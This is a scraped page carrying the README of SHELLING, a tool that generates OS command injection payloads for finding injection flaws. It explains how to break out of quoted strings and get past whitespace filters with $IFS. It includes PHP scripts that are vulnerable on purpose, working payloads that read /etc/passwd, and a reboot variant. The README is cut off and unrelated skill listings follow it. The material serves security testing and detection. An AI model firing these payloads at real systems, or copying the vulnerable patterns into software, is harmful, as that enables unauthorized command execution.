Shelling
SHELLING - a comprehensive OS command injection payload generator
Install / Use
/learn @ewilded/ShellingREADME
Original work by: Julian H. https://github.com/ewilded/shelling
SHELLING - a comprehensive OS command injection payload generator
An OLDER version is currently available in the Burp App Store as Command Injection Attacker. The current version (available here) has already been submitted to the Bapp Store and should be released there soon.

What is SHELLING?
This project revolves around detecting OS command and argument injection flaws (not limited to web applications).
Its main objectives are:
- provide methodology for the OS command injection detection
- provide software implementating this methodology
How this document is organised
This documentation is divided into two separate sections:
- The first section provides the methodology and results of the OS command and argument injection research conducted for the needs of this project.
- The second section describes current and future tool's capabilities and usage.
Table of contents - OS command injection
Table of contents - the tool
Other projects and special thanks
Identifying possible reasons of getting false negatives
Problems to face when creating OS command injection payloads:
- the eventual syntax of the expression we are injecting into (e.g. quoted expressions)
- input sanitizing mechanisms rejecting individual characters (e.g. spaces)
- platform-specific conditions (e.g. there is no "sleep" on windows)
- callback method (e.g. asynchronous execution, no outbound traffic allowed)
The purpose of creating this tool was to reach the non-trivial OS command injection cases, which stay undetected by generally known and used tools and sets of payloads.
The syntax problem
Let's consider the following vulnerable PHP script:
<?php
if(isset($_GET['username'])) echo shell_exec("echo '{$_GET['username']}'>>/tmp/users.txt");
?>
What makes this case different from the most common and obvious cases of OS command injection is the fact that the user-controlled variable is injected between single quotes in the final expression passed to the shell_exec function. Hence, one of the most obvious OS command injection test cases, like
http://localhost/vuln.php?username=;cat /etc/passwd; would result in the expression being evaluated to echo ';cat /etc/passwd;'.
So, instead of executing the command, the entire user input is written into the /tmp/users.txt file.
This particular payload leads to a false negative in this particular case, as it does not fit the target expression syntax in a way that would make shell_exec function treat it as a system command. Instead, the payload is still treated as an argument to the echo command.
In order to properly inject into this particular command, we need to jump out from the quoted expression in the first place. If we simply try payload like ';cat /etc/passwd;, the expression would evaluate to echo '';cat /etc/passwd;', we would still get a false negative due to unmatched quoted string following the command we injected.
A payload fitting to this particular syntax should look like ';cat /etc/passwd;':
http://localhost/vuln.php?username=%27;cat /etc/passwd;%27, making the final expression to look like echo '';cat /etc/passwd;''.
And the output is (the injection is working):
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin: [...]
This is just one of the examples of how the syntax of the target injectable expression affects the results. The solution to this problem is a good list of vulnerable syntax-varied cases, as we have to guess as many syntax-dependant cases as possible. For the rest of this write-up, let’s use the following legend:
- OS_COMMAND = the name of the remote binary we want to execute, e.g.
ping - ARGUMENT = the argument of the command we want to execute, e.g.
collaborator.example.org - ARGUMENT_SEPARATOR = string between the OS_COMMAND and the ARGUMENT, e.g.
(a space) - FULL_COMMAND=
OS_COMMAND+ARGUMENT_SEPARATOR+ARGUMENT - COMMAND_SEPARATOR = a string that separates multiple commands from each other, required for successful injection in most cases (e.g.
&or|) - COMMAND_TERMINATOR = a sequence which, if injected into a string, enforces the remote system to ignore the remainder of that string (everything that follows the terminator), e.g.
#on nix (bash) or '::' on win
So, the following list of syntax patterns was created:
FULL_COMMAND- when command is directly injected into an expressionFULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)- when the command is directly injected into the beginning of the expression and then it is appended with some arguments/other commandsCOMMAND_SEPARATOR + FULL_COMMAND- when command is appended as an argument of a command hardcoded in the expressionCOMMAND_SEPARATOR + FULL_COMMAND + COMMAND_SEPARATOR- when the command is appended as an argument to a command hardcoded in the expression AND appended with some arguments/other commands
Additionally, all the above combinations need corresponding versions targeted at quoted expressions. Single quotes:
'FULL_COMMAND''FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)''COMMAND_SEPARATOR + FULL_COMMAND''COMMAND_SEPARATOR+ FULL_COMMAND + COMMAND_SEPARATOR'
Double quotes:
“FULL_COMMAND”“FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)”“COMMAND_SEPARATOR+ FULL_COMMAND”“COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR”
The problem of input-sanitizing mechanisms
Bad characters
As it is generally known, blacklist-based approach is a bad security practice. In most cases, sooner or later the attackers find a way around the finite defined list of payloads/characters that are forbidden. Instead of checking if the user-supplied value contains any of the bad things we predicted (e.g. & or ; characters), it's safer to check whether that data looks like it should (e.g. matches a simple regex like ^\w+$ or ^\d+$) before using it.
Many input-sanitizing functions attempt to catch all potentially dangerous characters that might give the attacker a way to control the target expression and, in consequence, execution.
Argument separators trickery
Let's consider the following example:
<?php
if(isset($_POST['dir'])&&!preg_match('/\s+/',$_POST['dir']))
{
echo "Dir contents are:\n<br />".shell_exec("ls {$_POST['dir']}");
}
?>
The script executes the OS command only if the user-supplied variable does not contain any white characters (like spaces or tabs). This is why payloads like:
cat /etc/passwd
;cat /etc/passwd;
';cat /etc/passwd;'
lead to false negatives.
In order to execute an arbitrary command, we need an alternative expression to separate the command from its argument (we need an alternative ARGUMENT_SEPARATOR).
A way to achieve this is an expression like $IFS$9, so the alternative payloads would be:
cat$IFS$9/etc/passwd
;cat$IFS$9/etc/passwd;
';cat$IFS$9/etc/passwd;'
In the unix environment, the $IFS environmental variable contains the current argument separator value (which is space by default).
Special caution needs to be taken when injecting $IFS as the argument separator. It is critical to make sure that the OS shell will be able to understand where does the variable name end and therefore where does the actual argument start. ping$IFSlocalhost will NOT work, because the shell will try to extrapolate a variable called $IFSlocalhost - which is obviously not defined. To deal with this, we can insert additional $9, which is just a holder of the ninth argument of the current system shell process (which is always an empty string).
Interestingly, the same principle does not seem to apply to commands like init$IFS$96 (init 6 -> restart). The command works fine and the shell is not trying to insert variable $96. Instead, it recognizes the presence of $9, evaluates it to an empty string and therefore treats the following 6 as an argument.
A way to avoid this confusion is to use the ${IFS} bracketed expression - just keep in mind this involves the use of two more characters that are likely to be filtered ({ and }).
Below is the list of currently known and sup
Related Skills
node-connect
340.5kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
84.2kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
340.5kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
commit-push-pr
84.2kCommit, push, and open a PR
